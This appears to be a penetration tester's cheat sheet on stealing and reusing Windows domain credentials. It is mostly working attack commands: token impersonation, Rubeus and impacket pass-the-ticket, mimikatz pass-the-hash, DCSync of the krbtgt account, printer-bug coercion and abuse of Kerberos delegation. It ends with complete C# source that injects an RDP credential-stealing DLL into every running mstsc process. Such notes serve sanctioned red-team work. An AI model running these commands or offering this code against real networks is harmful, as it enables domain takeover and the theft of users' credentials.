Comment on page
Getting & Using Credentials
ImpersonateUser <user>
ImpersonateProcess <pid>
RevToSelf
load incognito
list_tokens -u
impersonate_token <user>
rev2self
MakeToken <user> <domain> <password>
Create ticket for user:
Rubeus triage
Rubeus asktgt /user:<user> /rc4:<user ntlm hash>
Get the base64 ticket from Rubeus output and clean it up. You can only have one TGT per logon session so the correct way is to create *sacrificial* logon session and apply the ticket there:
MakeToken <user> <domain> <anything>
Rubeus triage
Rubeus ptt /ticket:<ticket>
Rubeus triage
RevToSelf
The same can be done with impacket:
getTGT.py <domain>/<user> -hashes :<hash>
getTGT.py <domain>/<user> -aesKey:<key>
getTGT.py <domain>/<user>:'password'
There is a custom Covenant task that allows to inject shellcode into a process. By typing
Inject
a popup will appear where you paste the shellcode.sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm hash> /run:powershell
When running
mstsc.exe /restrictedadmin
this could give us RDP access to other boxes without knowing the clear text cred (but passing the hash with xfreerdp works too).A logon session can only accommodate one TGT at a time, therefore its sometimes required to create another session before applying a TGT to it.
Rubeus triage
Rubeus createnetonly /program:c:\windows\system32\cmd.exe
Rubeus triage
Rubeus ptt /luid:<luid> /ticket:<ticket>
After applying the ticket to the process we can impersonate it e.g. in Covenant
Impersonate Process <pid>
.Unrestricted access to services on behalf of a user. Find with:
Get-DomainComputer -Unconstrained -Properties DnsHostName
List & dump ticket:
Rubeus triage
Rubeus dump /luid:<>
Since we can only have 1 ticket per logon session spawn a new process first and note luid:
Rubeus createnetonly /program:C:\Windows\System32\cmd.exe
...
[+] ProcessID : 3256
[+] LUID : 0x584fe68
Then apply the ticket:
Rubeus ptt /luid:0x584fe68 /ticket:<>
Finally impersonate the process with
ImpersonateProcess 3256
. Note that this will not change the output of whoami.We can also use mimikatz:
privilege::debug
sekurlsa::tickets /export
kerberos::ptt ticket.kirbi
exit
Ticket is now applied and we can connect to the target (e.g. PsExec).
Monitor tickets with Rubeus:
Rubeus monitor /interval:5 /filteruser:dc$
SpoolSample.exe dc$ <server with unconstrained delegation we have a shell on>
After getting the TGT with Rubeus we can ptt and DCSync:
Rubeus ptt /ticket:...
mimikatz # lsadump::dcsync /domain:... /user:<domain>\krbtgt
This can even be used across domains in a forest environment!
Restricts the services you can access on behalf of a user to a subset. Find machines that have it:
PowerShell Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo
You always want to check Bloodhound too - often the delegation is only for a single service type like "time", so we have to take that into account when generating tickets with Rubeus s4u.
Dump ticket:
Rubeus dump /service:krbtgt
Generate ticket:
Rubeus s4u /impersonateuser:<user> /msdsspn:cifs/<server>.<domain> /ticket:<ticket>
We can then apply it like on unconstrained delegation.
It might not always be the case that we find delegation for a useful service, in this case its possible to swap out the original service with more useful ones:
Rubeus.exe s4u /user:<machine$> /rc4:<hash> /impersonateuser:administrator /msdsspn:time/srv.domain.local /altservice:cifs,host,rpcss,http /ptt
- cifs - filesystem access
- http - winrm
In case we have a cleartext password, but not the rc4 hash we can use Rubeus to generate it and create a TGT:
Rubeushash /password:secret
Rubeus asktgt /user:<user> /domain:<domain> /rc4:<hash>
Even if this does not show in BloodHound, if we have AllExentedRights over a machine, we can execute the command. Adding a new domain computer is not always needed (in case we already have control over one, e.g. used mimikatz to obtain a machine account hash)
New-MachineAccount -MachineAccount <new-computername> -Password $(ConvertTo-SecureString 'secret' -AsPlainText -Force)
Get-DomainComputer -Identity <new-computername>
Set "msds-allowedtoactonbehalfofotheridentity" on a computer we have GenericWrite for so it allows our newly generated computerobject.
$sid = Get-DomainComputer -Identity <new-computername> -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Get-DomainComputer -Identity <victim-computername>| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'= $SDBytes}
Create ticket:
.\Rubeus.exe s4u /user:<new-computername> /rc4:... /impersonateuser:administrator /msdsspn:CIFS/<victim-computername> /ptt
runas /user:administrator /savecred "cmd.exe /k whoami"
net use z: \\<ip>\c$ /user:<username> <password>
RDPThief allows to get clear text credentials from newly established RDP connections (via hooking). It comes in form of a DLL and needs to be injected into the mscrt.exe process:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace RDPThief
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main(string[] args)
{
String dllName = "RdpThief.dll";
while (true) {
Process[] mstscProc = Process.GetProcessesByName("mstsc");
if (mstscProc.Length > 0) {
for (int i = 0; i < mstscProc.Length; i++) {
int pid = mstscProc[i].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);
IntPtr loadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
}
}
Thread.Sleep(1000);
}
}
}
}
Last modified 9mo ago